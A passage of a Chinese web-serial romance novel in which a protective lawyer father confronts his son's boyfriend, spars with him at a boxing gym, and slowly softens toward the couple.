他再认错“瞒着你出去是我不对,你冷静点我们慢慢说。” 戚述顶上压力“江先生,我们在谈恋爱,这么晚让他出来主要我有错,我做得太莽撞了。” 他不出来认领还好,江锦昆最为护短,本来火气就在戚述这里,这下矛盾直接全面转移。 江锦昆根本无法冷静“我倒真的该和你掰扯掰扯,你离他远点,别特么眉来眼去。” “你要做什么?爸,这里是写字楼!”江知羽着急地提醒。 江锦昆说“也没影响你们做私事啊,怎么,就准你俩亲完了还拉来扯去?” 没人料到恋情会以这种形式暴露给家长,饶是戚述也感到窒息。 他还在内心打草稿,希望能挽回一些好感,让江锦昆能够消气。 可惜做并购的和当翻译的即便加起来,都没这一个律师能说。 江锦昆道“你什么时候盯上我家小孩的,我回国和松晟对接,你非要打包那盘和牛,说你对象等着吃夜宵,还爱你爱得要死要活。” 梳理完时间节点和具体对话,他逼问“你们那么早就在一起了?还是你这个人移情别恋?” 话音落下,江知羽一头雾水地扭过头,这下换成戚述视线游离。 随即,江知羽反应过来戚述在背后吹牛。 “我、我们那时候在暧昧期,四舍五入就是谈了,那些东西也进了我的肚子。”江知羽很想踩戚述一脚,“反正我不会否认。” 戚述和江锦昆说“当时我不知道你们的关系,如果能了解,肯定不会和您抢。” 他再坦荡道“那句话的确是借口,但我说的时候已经非他不可了,其实是我对他不追到就不放手 。” 听到他这样摊牌, 江锦昆愈发咬牙切齿。 “我最开始就猜到你全是坏水,以为项目结束也就各走各的道了,你敢情在背地里碰我儿子,那天我特么被带去八达岭就知道不对劲!” 他鲜少语无伦次,这下真的是气狠了,头脑都有点糊涂。 不仅仅是他,江知羽和戚述也很晕。 江知羽眼神示意他怎么把你骂得那么狠?不是有交情么,不是相谈甚欢玩转四九城么? 戚述活了二十多年没这么发过蒙“。” 然后,他挤出话语“你发行程表的时候,我刚得知你是绒绒他爸,想要自己安排招待。” “上面那么多景点,订门票那会儿还担心你会不会中暑,想着约上的可以看情况取消。” 剖析着心路历程,戚述道“说实话那天好几个地方我也是第一次去,发现你那么有精神,我不想让你留遗憾,超速了也要送你去北海看看。” 合着对方是在奉承他,江锦昆想到自己在公园里差点虚脱,感觉这个世界倍感荒谬。 “我以为你谈判桌上斗不倒我,私底里想看我老头子出洋相,所以我也磨着你,想让你多吃一点苦。”他冷笑。 如今他顾不上斯文“操,早知道你勾搭江知羽,我撑着最后半口气也把你耗在颐和园埋掉。” 听到这里江知羽彻底无语,尤其回想到戚述的嘚瑟样,还有那可怕的五万步…… 还以为他俩一见如故相约暴走呢,到头来是一厢情愿互相折腾。 两边谁也别说无辜,自己的亲爹和男友叠着凑不出半颗良心,但凡有一个能善良点,场面也不至于走到这步。 真相被撕破,戚述试图挽回清白“你在我这里是江知羽重视的家人,我怎么可能给你使绊子?最后那场会议我都没有参加。” “之前你没少挖坑,说明你正常的处事规则就是这样,最开始还耍了一套下马威。”江锦昆哪有这么好应付。 单论工作能力,实际上他对戚述有几分认可,但要同意恋情,把他劈了他都不松口。 工位差不多变成了忏悔室,戚述以往做过什么孽摆过什么谱,这本旧账翻起来哗哗作响。 什么叫做因果?清算起来一个也不落。 戚述想辩驳都不知道从哪里开口,索性全部认下,只是有一点不甘心留下误会。 “但我对江知羽没有任何手段。”他道。 “撬墙角,拱白菜,我走进来的时候没揍你,纯粹是因为这房间太空了,想抄一把椅子都拿不到。”江锦昆扯起嘴角。 他凉飕飕地说“看样子你身体好得很,恨不得忽悠我儿子坐你腿上,想来用不着他继续看望了吧?” 这么讲完,江锦昆没有过多纠缠。 终究是写字大楼不够方便,逗留太久可能会让门卫上来,他还没那个脸皮当着外人争执。 而且他觉得快要心梗了,这样下去只有两种结果,要么自己忍不住动手,要么自己被喊救护车,无论如何他和戚述都得有一个横着出去。 当着江知羽的面,他竭力按捺了脾气,回到家也是让人早点休息。 “爸爸,我喜欢他。”江知羽这下瞧着真的可怜,“你能不能别为难他啊?” 江锦昆气不打一处来“你们当着我面这么火热,你们考虑我了么?” 江知羽撇了下嘴“谁让你偷看的啊,每个人都有隐私权的懂不懂?你刚才恐吓他,还打算 动手!§( 江锦昆不停地揉着太阳穴“等下我把家里网线拔掉,这个才是恐吓,以及你说的那什么权我听不懂,包括故意伤害罪也不是太了解。” 江知羽“……” 和讼棍没什么好讲的了,他回房间准备给自己充点流量,和戚述商量起了该怎样解决问题。 江知羽心里慌乱,小声道“我爸脾气很爆,气头上什么话都说,你不要往心里去。” 戚述安抚他“我没有,你也别和他吵架,不然他更加缓不过来。” 江知羽难过地说“怎么会变成这样啊?我太不小心了,没想到他会跟过来。” 戚述道“你爸爸担心你,这个你也明白的对吗?这件事分不清对错,你不要有负担。” 江知羽嘀咕“噢,我们不说他了。” 戚述见他放松下来,刚想略微舒展眉头,未曾想江知羽下一句是杀手锏。 “来聊聊你背后贷款装过什么逼,单方面谈着恋爱那会儿,把我扭曲成了什么样子?” 戚述“……” 经过这件事,他觉得自己从此要对巴黎产生阴影,休年假飞来这趟就和渡劫一样。 被江锦昆审判完,又被江知羽抓着问了一遍,戚述心想,这大概就是报应吧。 他没有做过老鼠仓,没有抄过别人底,更没有管理公募基金炒得山河一片绿,但是在劫难逃,几句难以启齿的口嗨也被扒个干净。 听戚述交代完,江知羽闷闷地笑了一会儿。 “好吧。”江知羽压着声音,“这些你以后可以随便讲了,毕竟我现在的确对你死去活来。” · 江锦昆不懂戚述吃什么药了。 昨天大闹松晟分部,自己把话讲得那么难听,对方居然恬不知耻,今天主动来到钧易约见。 这下他可不看江知羽的面子了,回忆着戚述以往的所作所为,江锦昆向秘书嘱咐,让人提前一个月排期。 “想上门就上门,想见我就见我,他当这家律所是公园么?”江锦昆将其拒之门外,“你们都别给他好脸色,最好冷着一点。” 过了半小时,秘书匆匆地与他传话。 “戚总还在外面,我们让他不要等,也没准备会客间,他就在门口站着。” 江锦昆憋着火“风这么大,怎么没把他刮回东八区呢?他想杵就杵吧,大家就当他是保安。” 秘书刚才得知了戚述的背景,有些心惊胆战,但看江锦昆表现得如此从容,也不好与老板再说什么。 很快,钧易流传起了一则八卦。 他们的创始合伙人救过松晟首席,以至于戚述登门拜谢还徘徊着不走,除非有天大的恩情否则解释不通。 实际上,江锦昆想要戚述的命还差不多。 他端着茶杯看到戚述迟迟不肯离开,有好几次试图泼水下去,又怕影响到来来往往的路人。 瞧着戚述低头发消息,江锦昆内心冷笑不已,认为对方肯定在和自己儿子打小报告。 而如果他能看清屏幕内容,会发现这份揣度大错特错。 江知羽对戚述劝阻[你去找我爸,这不是撞枪口么?你等他自己平复了再说。] [我懂他的作风,这几天软磨硬泡就行,他也拿我没办法。你不要贴冷脸了,他八成不会见你,见了也不会是好事。] 戚述让他不要苦恼[没关系,正好我懒得改机票,有机会还是想和他讲讲话。] 眼看着就要到午休的时间,他询问[你爸有什么业余活动?我打听过他等会儿其实休假,该约高尔夫还是打桥牌?] 江知羽想了想,表示父亲的爱好不多。 午后这个节点容易乏力,江锦昆很少会选择运动,多半是散步和下棋,或者看话剧演出,并且他的围棋考过业余六段。 这方面戚述凑巧也学过一点,虽然没有花工夫去雕琢,但大学里临时赶场还能拿到奖项。 江知羽[读本科都是多少年前的事情了,你别去惹他了吧??] 戚述回复[基本的技巧我还记得清。] 看到这句,江知羽很是佩服,莫非这就是天才吗? 聊天框的对面,戚述默默打开搜索引擎,重温起了相关规则。 大概半小时之后,江锦昆出来了,戚述迈步过去喊了声“伯父”。 “还是别叫得这么亲切比较好,我们是八竿子打不着的关系。”江锦昆推脱。 戚述道“这会儿绒绒在休息,不知道你能不能分我两个小时?周围有个棋室可以去坐坐。” 江锦昆想不到他如此坚持,语气始终冷硬“下棋就免了,我有个饭局,等会儿发你消息。” 看起来进展比想象中的顺利,戚述回过头与江知羽发去喜报。 江知羽为他松了口气“我刚问过叔叔,我爸是要商量一个案子,那地方正好咖啡厅很多,如果他约你喝点东西……你小心被偷偷下药啊。” 戚述理智分析“应该不会,他总不能刚散发完法制光辉,就忘了这里是现代社会。” 江知羽干巴巴地说“总之你悠着点吧。” 他发来江锦昆去往的餐厅名字,戚述简单地看了下,周围还有一家大剧院。 说不定两人就去观赏剧目,用文明洗涤下各自的心灵,他不禁盘算着,认为律师这个职业最讲究化干戈为玉帛。 这么琢磨完,戚述逛到那边独自吃了饭。 没有让他等太久,江锦昆给他发了一条短信,里面有一串具体坐标。 戚述打开导航复制粘贴,最开始没显示结果,他多尝试了几次,跳出来的地方堪称旮旯角落,好在离自己这里不太远。 随后他注意到这个软件上,有11个人曾打卡到过此地。 他们将其标注为“拳馆”。 作者有话要说 戚述转身向保险公司走去(bushi) 第 90 章 过手 第90章过手 导航显示步行需要十五分钟,打车可以缩短一半,但戚述想了想,没有拦住路过的出租,慎重地往前迈了一步。 江知羽身不在前线,心系实时战况[他找你了么?不会放鸽子逗你玩吧!] 他深思熟虑地防了一手,但是事态凶险超出想象,自己低估了亲爹的恶意。 戚述看他焦灼,掩饰地说[刚分享完位置,我正在过去。] 江知羽竖起耳朵[去哪儿啊?] 戚述持续含糊[离饭店不远,老丈人态度很积极,我俩准备打破隔阂,面对面火热交流。] 江知羽[那还好,你别看他说话呛,之前做事更过火,上了岁数已经改过不少了。] 慢慢走向目的地,戚述请教[他年轻的时候怎么样?] 江知羽[高中有学长很像混混,踢足球故意撞我,嘴上也不太干净,当时我好像有点擦伤。] 戚述有话想说[于是你爸对他挥出了拳头?] 江知羽[啊?我爸不打人,他嫌揍小毛孩很跌份。] [校方想和稀泥嘛,他直接没再找教务处,雇了两排保镖放学堵门,看着就像黑手党团建,给学长当场吓跪了,从此夹着尾巴做人哈哈哈。] 戚述“……” 等等,这个馆子总共多大面积?群殴的话是否人山人海? 他看到店面的牌子,上面写着泰文,接待的老板是典型的东南亚面孔,有一口流利的英语。 店长表现得非常客气,撩开过道的布帘“江总还没到,您先进里面等着吧?” 之后走到更衣室里,他拿出拳击手套和绷带。 “看您的胳膊应该练过,学过搏击么?这是为了保护您不会被挫伤,从手指到腕部需要缠紧。” 戚述接过东西“我有时候会玩花剑和佩剑,这些还是第一次碰。” 店长朝他笑了笑“怪不得,花剑讲究战术,佩剑需要灵活,竞技这种东西触类旁通。” 戚述暗自扫了眼门口,打听“江先生经常过来么?” “熟客啦,小孩回国工作了,他下班以后没事做,就到这儿打发点时间。”店长道。 “我总说呢,他一个人有什么意思?跟小孩回去呗,不过他觉得儿子长大了用不着管,离得近还容易唠叨,那句话怎么讲来着,距离产生美?” 这么说着,店长摇了摇头“没老婆嘛,儿子就是半条命了,其实他之前忙着赚大钱,这两年才有空来打拳,说运动能预防阿尔茨海默,不让小孩以后操心。” 以江锦昆的经济条件来说,别说缓下工作节奏了,他早就可以急流勇退,然而他近些年依旧把持重要业务。 江锦昆的物质欲望非常低,如今还在努力打拼财富,肯定是想给江知羽多留些积蓄,在他护不住的时候,帮他的孩子抵御风险,一直健康顺遂地体验世界。 连同隔三差五来费劲锻炼,江锦昆也是到了一定阶段,开始格外注重身体,不希望小辈为养老挂碍。 父母之爱子,则为之计深远,戚述明白这点,面对江锦昆的刁难和戒备,从头到尾没有怨言。 不过他绑完了右手绷带,觉得自己的人生来到了十字路口。 收着力道一退再退,好像有点颓废,江锦昆会不会以为他很怂?反而对他的印象变差? 但是真对江锦昆出手,这又怎么可能? 横竖属于断头 路,戚述悟了,对方心知自己要来表态,下围棋可以让子,打高尔夫可以让球,这些都太便宜了他,而在这里想让手就只能挨打。 当他一边神游一边弄好粘带,正巧江锦昆也到场了。 对方不再像上午那般西装革履,换了身轻便的衣服,很熟练地做好全套准备。 “你去抽一根。( 老板识眼色,把这片地方让给两人,然后戚述活动了一下手腕。 刚做完,他余光瞥见一抹动静,敏捷地侧过身后撤,堪堪躲过了攻击。 厉风几乎是擦着脸颊刮过,戚述说“伯父,我这趟其实想和你坐下来谈谈。” 江锦昆道“见了你手痒,我怕是没耐心听你讲话。” “我们有很多误会。”戚述趁机开口,“工作要考虑很多东西,我承认自己不是什么好人,谁和我不是同个立场,我就要让他出局,可我也知道对待感情越纯粹越好。” 江锦昆说“漂亮话说得那么简单,你做得到么?你有种跑到我面前做演讲,也就是仗着江知羽胳膊肘往外拐。” 这么说着,他再磨了磨后槽牙。 “对,你们继续瞒着我都无所谓,我不可能强制拆散你俩,但被我逮着了,还要我祝福,你做梦比较快。” 他这么说着,看戚述在思索如何回答,往前一个滑步,一个左刺拳后又是攻势汹汹。 戚述的重心很稳,再度迂回地躲闪,这次江锦昆却没有立即收住,反手一个摔角就要把人撂倒。 砰。 戚述自我束缚着没有反抗,后背砸了下弹性的台面,眼看着江锦昆嗤了一声,他双手绞着对方胳膊,将人也带倒在了垫子上。 “请放心。”戚述找机会说话也吃力,“我明白你的顾虑,你不能认可我也很正常,只是我想争取一些转变。” 在职场上针锋相对过,江锦昆本就对他有诸多提防。 现在要对方接受自己和江知羽的关系,除非江锦昆对江知羽没那么上心,否则一时半会绝对不可能松口。 即便戚述再如何示好,许多东西需要日积月累才能完全验证,戚述了解这点,没有抱太多想法。 他单单是过来再度表态,希望江锦昆可以因此打消一部分疑虑,这次出面哪怕无济于事,也好过沉默地逃避冲突。 江锦昆说“你没让我儿子一个人担着,确实不是在和他随便玩玩,可现在这么笃定,以后呢?你对他做了承诺,能保证以后那么多年都能顾着他么?” 他冷冷道“你身边有那么多例子,一个两个的连自己都顾不好,松晟并购的一把手去了哪里,你能讲出来么?” 那个人近年的去向神秘莫测,实际上大家心里有数。 之前行业风口,一个著名的老鼠仓就是他亲手设计,最聪明的头脑追逐着最刺激的回馈,盆满钵满的同时不知道害了多少人,下落不明多半是被寻仇了。 因为各种派系权衡,松晟密而不发,公事上把他彻底架空,权力集中在戚述的手里。 戚述看向江锦昆“我不会那样做。” “我五年前见他的时候,他也规矩得很。”江锦昆说。 “你们这个圈子的欲望和无底洞一样,钱和权么,永远都嫌不够,从上到下的评价体系就是拿收益说话,你的野心难道比他小么?” 他一边问,一边站起来变换步伐,朝着戚述做了两次勾拳。 戚 述抬起手肘挡了下,平衡被几次切击打断,不禁有些踉跄。 “有些人守规矩,是他本来不成气候,以往没出格的本事,一有条件就会很轻易地打破原则。”戚述说。 江锦昆说“你现在也跨进门槛了。” “是,前不久有个抄底,有人让我一起做局,说实话早个三年,我不确定自己会不会心动。” 戚述坦白着,再道“但我被问的时候,根本没考虑过要答应。” 这不是被一把手的后果震慑,他远比对方更有天赋,只要做得足够巧妙,有的是办法规避危险。 出手的报酬就是天文数字,然而他无动于衷。 “我以前很想证明自己的价值,的确,怎么升职都不够,我想在事业上拿更多东西,不然人生多无聊,什么都没有,赚多了还能数钱玩。” 曾有人对他的履历开过玩笑,背景和轨迹简直为高智商的亡命之徒量身打造。 六情缘浅,独来独往,满心往上攀登,他的动作实在太快了,就像永远保持饥饿的人以此为食。 “你胆子还小是吧?”江锦昆说。 戚述说“接到消息的时候,我在苏州,刚和听完江知羽评弹,奶奶在家里翻东西。” 没想到两人已经去过家乡,江锦昆不紧顿了一下,再听到戚述往下讲。 “她邀请我一起看相册,当时我已经把做局的拒绝了,那个人又发来好几条,妨碍我找绒绒的旧照片,现在他还在我的黑名单里。” 话音落下,江锦昆想说他不知羞耻。 “我是一直很难满足。”戚述抢先道,“不过在江知羽身边,我已经没有别的遗憾了。” 他想长久驻留,其他的与之相比,仅仅是海市蜃楼。 江锦昆瞳孔微颤,给他来了个背摔,终于能够抽手应声。 “年纪还轻就那么肉麻,准备膈应死谁?” · 江知羽扒着窗户,望见远处太阳刺眼,戚述那边还没有新消息。 他很想和戚述黏一起,但如果被江锦昆看到,估计是火上浇油,更加不会消停。 江知羽因而克制着,如今实在忍不住,再次给其他长辈拨去电话。 他道“叔叔,我爸饭局之后去哪儿了,你知道吗?是在哪家咖啡厅呢?” 长辈道“我送你爸回了趟律所,他去休息室换衣服拿东西,那架势是要去拳馆夕阳红啊。” 江知羽? 他不由地迟疑,继而翻看戚述的回应。 态度积极、打破隔阂、火热交流…… 合着他俩斗殴是吧?! 江知羽这下没办法再空等,向叔叔问过方位,立即开车赶过去。 老板支了个躺椅,靠在收银台前昏昏欲睡,瞧见江知羽急匆匆进门,急忙摆着手阻拦。 “哎,我们这儿今天下午包场了!”他解释,“没预约的不要进,里头有事儿呢。” “包场的是我亲爹,挨揍的是我男友,我抢救病号人工呼吸。”江知羽道,“他们在几楼?” 老板被噼里啪啦砸了这么几句,脸色变得非常精彩。 面对老顾客的小孩,他没再拦路,也不敢凑热闹“四楼有擂台,你上去进门左拐就是。” 看着江知羽往楼道跑,老板惊魂未定,补充“医药箱四楼就有!” 前台一阵喧哗,楼上的两人氛围安静,尚不知道江知羽来了。 江锦昆看戚述摔在地上,全 程束手束脚,想着再为难下去也没意思。 宣泄完胸腔内的这股气闷,他就势作罢,往戚述那边走了两步,弯腰想把人拉起来。 戚述也别扭地动了动手指头,似是准备等江锦昆伸出手,自己就顺着台阶下去。 就在这时,门从外面被推开,打断了他俩的酝酿,戚述和江锦昆一起顿住。 紧接着,他们齐齐循声望去,江知羽爬完楼梯有些累,扶着墙壁缓了大概五六秒。 他又朝他们直起腰杆,在口头上大义灭亲。 “爸,你再打他我要报警了!” 他见戚述居然躺着,不禁蹙起眉。 江锦昆见不得白菜跟猪跑“就这么不痛不痒地过两招,他喘气还没你厉害,你心疼什么?” 江知羽半信半疑,快步来到擂台旁边,视线在他俩之间来回切换。 江锦昆恨铁不成钢,干脆不去扶戚述了,省得他俩以为自己默认了这门亲事,回头在飞机上开香槟。 “你痛不痛?”江知羽没目睹过程,担心戚述有内伤,没有直接拉人,而是半蹲在旁边仔细地打量。 戚述言语轻柔“你别怕,你爸收着力道,我没有受伤。” 闻言,江锦昆在心里说,儿子找的对象勉强还算懂事。 随后他看着江知羽朝戚述点点脑袋,小心翼翼地架着人站起来。 戚述捂了捂上腹,很轻地闷闷吸气,江知羽捕捉到细节,桃花眼就苦恼地朝自己戳过来。 江锦昆??? 自己压根没打过那块地方,戚述在演什么?果然江知羽昨天装可怜,就是被男朋友带坏了?! 这个小子怎么这么讨厌?!! 作者有话要说 你儿子喜欢坏男人(恶魔低语) 晚上还有一更,大家可以十点钟来看! 第 91 章 鸳鸯 第91章鸳鸯 发觉戚述貌似身体不适,江知羽认真瞧着,下意识把人搀得更紧,彼此几乎依偎在一起。 江锦昆立即声明“我都避着肋骨和脏器,没有碰过他那里。” 江知羽说“你怎么能用暴力解决问题呢?” “伯父和我聊了点事,他要是真动手,我应该脸上开花了。”戚述打圆场,“我只是中午没怎么吃东西,稍微有点低血糖。” 他这两天没吃好,昨晚在酒店点了果泥,本来该补一份夜宵,然而途中出了事,回到房间无瑕去管口腹之欲。 早上吃完沙拉,他就在律所等候,到中午心系与江锦昆谈话,买的套餐连刀叉都没动几下。 之后上了擂台,整场费心费力,全神贯注时没感觉,当下浑身松懈,胃部忽地抽痛了下。 江知羽若有所觉“这里的饭店太甜腻了,想清淡点就是脱水蔬菜,我们去超市吧?我给你煮面吃。” “红烧牛肉味的还是鲜虾鱼板味的?”江锦昆了解儿子是什么脾性,皮笑肉不笑地插话。 他不肯让江知羽去下厨,明里暗里地阻挠。 “他顶多就是饿,你这灌进去说不定反胃。”他说。 江知羽皱了皱鼻尖“我去买通心粉,没想让他吃泡面。” 江锦昆发回旋镖“容我提醒你一下,上次我过生日,你做了碗意大利面,当晚我是真的急性肠炎了。” “我一开始就说烧糊了,你还非要吃光!”江知羽抓狂。 他使用激将法“你对我的厨艺那么没信心,那你去开火啊,反正现在下班也没事做。” 江锦昆不太好骗,觉得滑稽“我给他做饭,你没搞错吧?” 江知羽道“本来就到点了,你不回家吗?再不淘米我也跟着饿肚子。” 江锦昆吵不过他,梗着脖子出去了,又在楼道听见江知羽嘀嘀咕咕,和戚述说悄悄话。 江锦昆停步望过去,好家伙,江知羽掀开戚述的衣摆,在看对方的背部有没有伤痕。 “光天化日,你们能不能注意风化?!”江锦昆简直绝望。 江知羽闷闷不乐“江大律师,他肩胛骨有一块青了,我要去带他上药。” 江锦昆是苦出身,在他的观念里,磕了碰了无足挂齿。 见江知羽板着一张脸,他过去也看了眼,那点淤青就指甲盖的大小,估计着地时以此缓冲,没有调整好受力,稍微伤到了点。 终究自己理亏,落人口实无从争辩,江锦昆没吭声,愣是给他俩送了个把柄。 江知羽的车就大大咧咧地横在门外,他开锁进了主驾驶座,戚述颇为礼貌地问江锦昆想坐哪儿。 江锦昆为了让他俩离远点,不假思索地选择了副驾,然后看着这辆车往东边开。 “太久没来,忘记回家的路了么?”江锦昆很诧异,“我们在西边,你等下左拐,过两条马路就到了。” 等到他上套很不容易,江知羽打了个拐弯。 “我本来想先送阿树回酒店,既然你不介意,当然可以一起回去。” 江锦昆上来没到五分钟,差点忘记后面还有一个人“……” 他也为他的忽视付出了一定代价,眼睁睁地瞧着戚述进门,江知羽还帮忙找出双新拖鞋。 感觉到江锦昆的凝视,江知羽晃了下戚述的胳膊“你去我房间坐着,我去找红花油。” “跌打膏药就客厅(笔趣_阁., 你让他到沙发那边去。”江锦昆出声,“怎么可以去你卧室?这么隐私的地方,多不合适啊。” 江知羽幽幽地说“我们同居有一段时间了,被子都盖同一条,没那么讲究隐私。” 江锦昆受到重击“……” 再待下去就是电灯泡,江锦昆在原地踌躇一小会儿,一个人钻去厨房做饭。 他手上洗着菜,耳朵竖了起来,江知羽在和戚述嘘寒问暖 没多久,江知羽过来了,蹭在父亲旁边说要帮忙。 “一股药味,别碰这些菜。”江锦昆说,“你不要站在油烟机旁边。” 平时这里有营养师操持,因为近期江知羽来,所以江锦昆没让别人代劳。 江知羽尾随着他,敲了敲他的肩膀“你没午睡跑去格斗,不累啊?两边都折腾够呛。” 江锦昆说“如果你有小孩,就会懂我的滋味了,有时候我路过商场看到情侣吵架,有人被留在原地一直哭,我就很担心要是你也被伤害了,万一我护不到呢?” 江知羽向来有个性“我没那么软弱,会保护好自己。” 他瞄着江锦昆的神色,补充“我刚见到戚述的时候,也对他有一些顾虑,可他真的很好,不是他对我用心,我就喜欢他了,其实我也欣赏他。” 江锦昆道“今天土豆丝别放醋了吧,你俩光是一张嘴就够酸。” 江知羽没有畏怯,说“爸爸,你能不能也尝试着认识他?” 江锦昆没有答应,但也没有拒绝。 他说“我明天想去看你妈妈。” “那我和你一起,早上你喊我。”江知羽说。 他再提到自己与戚述昨天就去过,戚述这趟就是为了陪他扫墓,还和孟佩彤交代了一些话。 不料横生枝节,闹成了这副样子。 江锦昆听完沉默良久,说“也不知道你妈妈在的话,会觉得你这恋爱怎么样,我看人没有她的眼光准。” 父子俩促膝长谈过,尽管结果不尽人意,但江知羽清楚,他爸若是真的蛮不讲理,在分部大楼就该动手。 江锦昆等到今天私下约见,除却愤愤不平,也是一种表态,希望戚述能切实地重视江知羽,否则自己不会轻饶。 他想展现自己还有实力,能够罩着儿子安然无忧,江知羽感觉得到他的怅然和混乱。 江知羽垂着头,艰涩地说“对不起,让你这么发愁。” “别道歉了,你今年27,我能替你愁什么。”江锦昆这么说着,忽然没了其他话。 他转移话题“黄鱼要红烧还是清蒸?” 江知羽抬起眼“阿树爱吃红烧。” 一有梯子就往上爬,江锦昆冷笑了声,往锅里倒酱油。 “爸,我帮你。”江知羽拿起铲子,“你爱吃老一点还是嫩一点?” 江锦昆夺过厨具“油点子全溅你新买的衣服上!” 他面对戚述还很浑身不自在,但谈不上失望或或漠然。 身为父母,他对江知羽伴侣的期望很简单,也早已在谈话中流露过,他考究的唯有品格和情谊。 这两点并不是通过一时表现就能判断,三年五载日久见人心,两个小辈也没有步步紧逼地恳求认可。 吃饭的时候,江知羽夹在中间,尽量消解彼此隔阂,时不时给江锦昆夹菜,又和戚述介绍自己父亲的手艺有多好。 “你现在和永煊那边是什么情况?” 江锦昆突然查户口。 戚述停下筷子“平时没联络( 江锦昆说“集团的产业结构还很吃香,但管理制度有问题,十个领导八个亲戚,估计是《大宅门》吧。” 江知羽左手撑着脸,叹气“他帮我出头打了他哥,现在切换成《复仇者联盟》了。” 牵扯到这茬,他捡了些脉络,简单地向江锦昆道明前因后果。 江锦昆说“我看他在拳馆里有点基础,原来是揍亲哥的经验。” 饭桌边,他们没有聊太多,戚述之后自觉回酒店休息。 他请了五天年假,减去前后两天花在路途中,剩下来的时间已经不多。 江知羽和他一起回去,当日中午,江锦昆送他俩去登机。 江知羽伸懒腰“出门十多天,周柯说我办公室的宫灯百合都死了,我回去要问问许一晗怎么浇的花。” 戚述揶揄“下属要是管得不称手,可以喊我来混合教育,小戚助理有一点心得。” 听到他俩打情骂俏,江锦昆很烦“工位养什么花花草草?你俩平时低调点,江知羽,之后不准去他办公室了!” 江知羽噎了下,撇嘴道“有劳你大晚上出来抓鸳鸯,我有阴影了,你不说我也不会再去。” 戚述很心痛,但不能讲“。” 巴黎天气晴朗,江锦昆送他们去安检口,告别时很想忽略戚述不计,却忍不住瞥了他好几眼。 戚述没懂自己哪里惹到他了,亦或者自己的存在就是一种仇恨。 之后坐上飞机,戚述说“你爸刚刚快把我盯穿了,我还有什么事情没来得及忏悔么?” 江知羽朝他歪过脑袋“江律师已经放弃挣扎了,在打量你是不是狐狸精。” 戚述很有兴趣,捏着他的指尖“怎么说?” 江知羽抿起嘴角,暂且不肯告诉他。 从家里出发前,江锦昆看着玄关处的行李箱,唏嘘江知羽已经几年没回去过了,没待一星期又要返程。 江知羽说“因为我流着一半我妈的血,她在事业上那么上进,年纪轻轻就是报社笔杆子,所以我要当蒲音最一线的译员。” 前不久接连得到表彰,表面端得谦虚淡定,这会儿没有外人,他的尾巴都翘起来了。 从小看着他给奶奶念报纸,如今能在电视上瞧见江知羽做解说,江锦昆好整以暇地抱起胳膊。 他说“那我的一半被净化了么?” 话音落下,江知羽腼腆起来,握着箱包把手,磨磨蹭蹭地哼了几声。 就当江锦昆以为对方词穷了的时候,江知羽缓慢地开口。 “不,爱情方面是遗传了你的基因。”江知羽小声说,“我喜欢戚述,我觉得就是他了,会爱他一辈子。” 作者有话要说 第 92 章 与共 第92章与共 春回见暖,满城是花和柳絮( 国贸区的上班族们无暇出游,却也想感受这份生机,中午端着打包的简餐与饮品,三三两两地坐在长椅上。 几家热门餐厅的景观位也早早被订满,客人们情绪盎然,中午也会浅酌一些低度酒水。 阳光透过玻璃窗晒进来,大家吃完了就待着聊天,享受着午休时刻的悠闲。 江知羽进来的时候戴着口罩,出差回来不久,他难得没有很快倒好时差,落座的时候默默往后一靠,眼睛再闭久点就要睡过去。 “刚打上来的精酿,醒醒神。”陶奕白倒给他一杯。 一半啤酒一半冰块,两口灌进去,江知羽瞬间就清醒了。 他颤颤睫毛,瞄到桌上的菜单“我想加个肉丸汤,去掉欧芹和香菜,孜然粉稍微少放点。” 他所在的是一家墨西哥料理店,饮食风味酸酸辣辣,在慵懒的春季可以开胃,而酒水较为清淡,很适合好友小聚。 不过,陶奕白看着江知羽的模样,在问候和调侃之间选择了升堂。 他道“以前看你一个礼拜飞四趟也没这样,这回带上戚述跑欧洲,你俩度蜜月去了是么?” 江知羽无语“在巴黎满打满算待了五天,他有两天是被我爹追着打,玩大逃杀还差不多。” 说到男朋友,他托着脸颊,咬紧了后槽牙。 “你是不知道戚述有多烦人,昨天我看到楼下有只鸟,随便跟鸟嘬了几声,他转头学着一直朝我嘬嘬嘬……就这种人,他也应该被收拾!” 陶奕白貌似豁然开朗“这么看不惯他呢?” 江知羽义正辞严地点了点头“我是一个正义卫士,天生和他八字不合。” 陶奕白假惺惺地说“嗯嗯,每天下班都和克星进一个家门,再之后你要经历什么我都不敢想,这真是太辛苦了,赶紧吃点玉米片吧。” 江知羽“。” 找不出强有力的争辩说辞,他受挫地喝了口啤酒。 今天戚述出门之前,先去厨房折腾半小时,继而把他从被窝捞出去,愣是喂了一顿早饭才走,以至于江知羽还不是很饿。 他过来是被陶奕白邀请,对方想让自己帮忙构思酒吧周年庆的宣传,现在便干脆商量起来。 江知羽从事这一行经手过丰富的活动,很多时候翻译方不仅提供语言服务,也涵盖技术性的方案指导,虽然看似超出了专业范畴,但也以此锻炼了能力,回馈到竞争力和薪水里。 很多同事跳槽转行,就是去做项目经理,策划一个店庆更是不在话下,让江知羽来负责的话,他能把大概的费用都估算清楚,再给陶奕白推荐了几家营销公司。 江知羽说“推广费没有什么节约空间,这年头开个水果店都在付钱买量,前期的成本太高了,你掂量一下回报率。” 陶奕白沉思着,应声“钱的事我多摁几次计算器,到时候具体怎么做,都会和你回一声。” 江知羽说“你最后想找哪家营销也告诉我,可以帮忙打听有没有折扣。” 陶奕白很感谢,待到肉丸汤端上来,殷勤地帮江知羽盛了一碗。 解决完一桩要紧事,他说“你这次升职要到什么位置啊?” 在盖了红章的公文发布之前,江知羽不会与同事多说,不过和朋友就没有讲究。 “周柯下半年要调了,华北准备开一个新的办事处,他负责中国大区,估计三年五载地去那里盯着。”他讲着公司目前的状况。 ☆本作者时有幸提醒您最全的《我们可没有谈恋爱!》尽在[笔趣?╬阁小说],域名[(. 这么一来,京市有了空缺,需要替老板承上启下。 而江知羽之前除了跑项目,也忙里挤出时间,协助周柯做管理,就顺理成章地被成了执行副总的备选。 去瑞士谈话时,人事与他聊过这个,江知羽对管理不排斥,总部也表示会给他一个助理名额帮忙打理。 沟通到这种程度类似于板上砸钉,陶奕白提前说了句恭喜。 江知羽觉得自己是八分靠运气,公司对资历卡得格外严格,以往哪怕有力度较大的提拔,也不太可能让人在三十岁之前做到这个岗位。 正巧国内业绩出色,总部衡量近年发展,决定深入开拓市场,让自己凑巧捡着了便宜。 而戚述之后听到了他的念头,对此抱有另一番观点。 “你以前兼顾两条线,每个都做到全力以赴,才能让别人这么记着,怎么算是走运?” 戚述说着,再道“机会一出现就能被你握在手里,这种叫做付出的没有浪费。” 